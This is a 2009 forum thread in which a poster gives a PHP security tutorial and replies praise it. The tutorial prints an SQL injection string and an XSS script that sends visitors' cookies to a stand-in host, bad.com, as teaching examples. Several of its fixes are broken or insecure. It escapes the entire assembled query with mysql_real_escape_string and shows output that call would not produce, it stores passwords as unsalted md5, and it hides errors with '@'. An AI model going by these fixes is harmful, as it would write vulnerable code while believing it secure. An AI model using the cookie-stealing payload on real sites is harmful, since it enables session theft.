Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
Securing Web Applications
#1
Welcome and Enjoy!

Intro
PHP is great language for developing dynamic Websites.
It's easy to learn and use, but it is also easy to create some security holes
wich may attract malicious user to your Website to cause damage.

I will show you the common mistakes and how to prevent them.
The first Rule and what you will hear most is.
NEVER TRUST THE USER AND ALWAYS BE PARANOID

Register Globals:
Since PHP 4.2 this is by default set to OFF, wich you should leave that way.
And for that fact it's not really important mention it, but I'll do it anyway.

When writing PHP codes you will work with Variables, alot of them.

PHP Code:
if($pass == "rootgod") {
    
$admin 1;
}


if(
$admin == TRUE) {
    
give_admin_rights();


The above code may look fine, if the user inputs "rootgod" it will make $admin TRUE, wich in the next code block will give him the admin rights.
With register_globals ON, a malicious user could avoid the password check by adding "?admin=1" (without the quotes) to the URL, by doing that he would declare $admin variable as true, and gain admin rights.

The solution to this is turn register_globals OFF in the php.ini file if you have them ON, and declaring the $admin variable at the start of the code is also helpful.
PHP Code:
$admin FALSE;

if(
$pass == "rootgod") {
    
$admin 1;
}


if(
$admin == TRUE) {
    
give_admin_rights();


(10-09-2009, 09:46 AM)Legion Wrote: Register globals will not be a problem no more in PHP6 it will be excluded.

www.php.net/manual/en/security.globals.php


SQL Injection:
With PHP you can communicate with databases, MySql is probably the most used in this case.
Working with databases allows you the saving of user information, like Username or Password of your registered users.

PHP Code:
$sql "SELECT `username`, `password` FROM `users` WHERE `username` = '".$_POST['usrname']."'";
mysql_query($sql); 

The above code is widely used and is supposed to the select username and password entry from the database table users based on the input of your user
(WHERE `username` = '".$_POST['usrname']."')
Now if you forget the first rule and trust your user, he/she may input
Code:
' OR 1 = 1

Unvalidated query would now look like this:
Code:
SELECT `username`, `password` FROM `users` WHERE `username` = '' OR 1 = 1
This is a valid query and it will be executed without errors, since username is no longer defined it will go on and check OR command, and 1 is always 1.
The following result would be complete listing of all users and their passwords from your database, a malicious user would now have full overview of your users table and it's entries.
In most cases the very first user in your database is an Administrator(you), the malicious user can see all of your users and he can login as Administrator and have it's powers over the site.

But that is not all, a malicious user can even add his own entry to your database and give him/her the same admin rights as you have.
Avoding this kind of attack is simple and easy, always validating user input for the input you wish to get from them.
By checking for apostrophes in user inputs, you are able to remove them or neutralise them.
Doing that will prevent any user to run thier own SQL commands in your queries.

PHP Code:
$sql "SELECT `username`, `password` FROM `users` WHERE `username` = '".$_POST['usrname']."'";
mysql_query(mysql_real_escape_string(trim($sql))); 

In the above code we use the function mysql_real_escape_string() and trim() to clean the $sql from unwanted input
The SQL command will now look like this:
Code:
SELECT `username`, `password` FROM `users` WHERE `username` = '\' OR 1 = 1

The query will never execute now since it has errors, and the user will not gain access to your database listing.
And that brings us to

Error Messages:
Errors are helpful for any developer, but unfortunately they are also helpful for malicious users.
The user can use errors to find informations about your site and code, directory structure and even database login information.
If you can disable error_reporting, then you should do that way.
Disabling errors_reporting can be done via .htaccess file or in the php.ini file by setting error_reporting to "0".
You can also use "@" in front of a function wich will disable printing out the error message.
PHP Code:
$sql "SELECT `username`, `password` FROM `users` WHERE `username` = '".$_POST['usrname']."'";
@
mysql_query(mysql_real_escape_string(trim($sql))); 

Considering the user input above this function will never output any error messages if a user inputs malicious stuff.

XSS/Cross-Site Scripting:
Let's say you have a Guestbook where visitors can post feedback on your site.
If you didn't secure the text input, the user could input
Code:
I'm here to do damage.
<script>
document.location = "http://bad.com/steal.php?cookie=" + document.cookie;
</script>
And this input would take your user to the malicious site and steal it's cookie information.
Your user would only see "I'm here to do damage." and wouldn know that his cookie was stolen.
Avoiding this can be done by simply not allowing to post html tags.
PHP Code:
$user_input htmlspecialchars($_POST['message'], ENT_QUOTES); 

Now the malicious post would look like this:
Code:
I'm here to do damage.
&lt;script&gt;
document.location = &quot;http://bad.com/steal.php?cookie=&quot; + document.cookie;
&lt;/script&gt;

And your user would see this:
Code:
I'm here to do damage.
<script>
document.location = "http://bad.com/steal.php?cookie=" + document.cookie;
</script>

Directory listing:
You should disable your user from gaining acces to any of directories on your server.
You can do that by placing an index.php file in every directory wich will then redirect your user to your main page index.
But that is not secure enough since if a user knows wich files there are in a directory he can still access them, so you should also put
and .htaccess file with proper commands for your site.

Securing Passwords:
You should avoid saving your users password as plaint text.
PHP has functions used to crypt any data, md5();

PHP Code:
if($password == $_POST['pass']) {
    
//log in


The above code checks for user submitted password in plain text.
You should rather use md5() function.

PHP Code:
if($password == md5($_POST['pass'])) {
    
//log in


Now if you saved the password in plain text the above code will fail because it encodes the user inputed password.
So you should use md5() when saving passwords and when checking them.


And again
NEVER TRUST THE USER AND ALWAYS BE PARANOID

End NOTE:
This tutorial doesn't cover all possibilities.
You should always read more about securing your code, and get advice from an expert before realsing it to the public.

Links:
http://de3.php.net/manual/en/security.php
http://shiflett.org/

Thank you for reading!
Reply
#2
damn you know alot of PHP
Reply
#3
(10-08-2009, 02:20 PM)iJesus Wrote: damn you know alot of PHP

It's my secret Love Yeye
Thank you.
Reply
#4
Yeah, Ninja seems great @ PHP.

I can't wait to learn Smile
Reply
#5
An awesome post. Some well written good advice.
Superman I am here to rescue you.
This is Support Forums not Support PMs.  Do not PM me for support unless it's private and site related.
Reply
#6
What do you do for a living NinjaGeek?

You post a lot of helpful material.
[Image: MreGSXsigcopy.png]

Reply
#7
Thank you all!

(10-08-2009, 02:32 PM)Omniscient Wrote: An awesome post. Some well written good advice.

I've spent some amount on time to choose the right words, I'm glad it turned out good.

(10-08-2009, 02:43 PM)MreGSX Wrote: What do you do for a living NinjaGeek?

You post a lot of helpful material.

I'm a Freelancer during the work days and a part-time cook on weekends
Reply
#8
(10-08-2009, 12:54 PM)NinjaGeek Wrote: Register Globals:
Since PHP 4.2 this is by default set to OFF, wich you should leave that way.
And for that fact it's not really important mention it, but I'll do it anyway.

Register globals will not be a problem no more in PHP6 it will be excluded.

www.php.net/manual/en/security.globals.php

Just an add-on of info. Hope this will make people code more secure.Blackhat

Next to that it seems to me that this is just a rewriting of copyrighted material.

http://www.addedbytes.com/php/writing-secure-php/
Reply
#9
(10-09-2009, 09:46 AM)Legion Wrote: Register globals will not be a problem no more in PHP6 it will be excluded.

www.php.net/manual/en/security.globals.php

Just an add-on of info. Hope this will make people code more secure.Blackhat

Hey thanks for the info, didn't knew that.
It's better removed anyway
Reply
#10
Oui
Thanks for your post.It is very useful....
Reply


Possibly Related Threads…
Thread Author Replies Views Last Post
  Securing your PHP script Part 1 [SQL Injection] 0xE9 9 2,957 06-11-2011, 03:50 PM
Last Post: 0xE9
  Running into troubles with web applications. Please help. nevets04 1 1,044 10-22-2009, 08:12 AM
Last Post: El Zorro

Forum Jump:


Users browsing this thread: 3 Guest(s)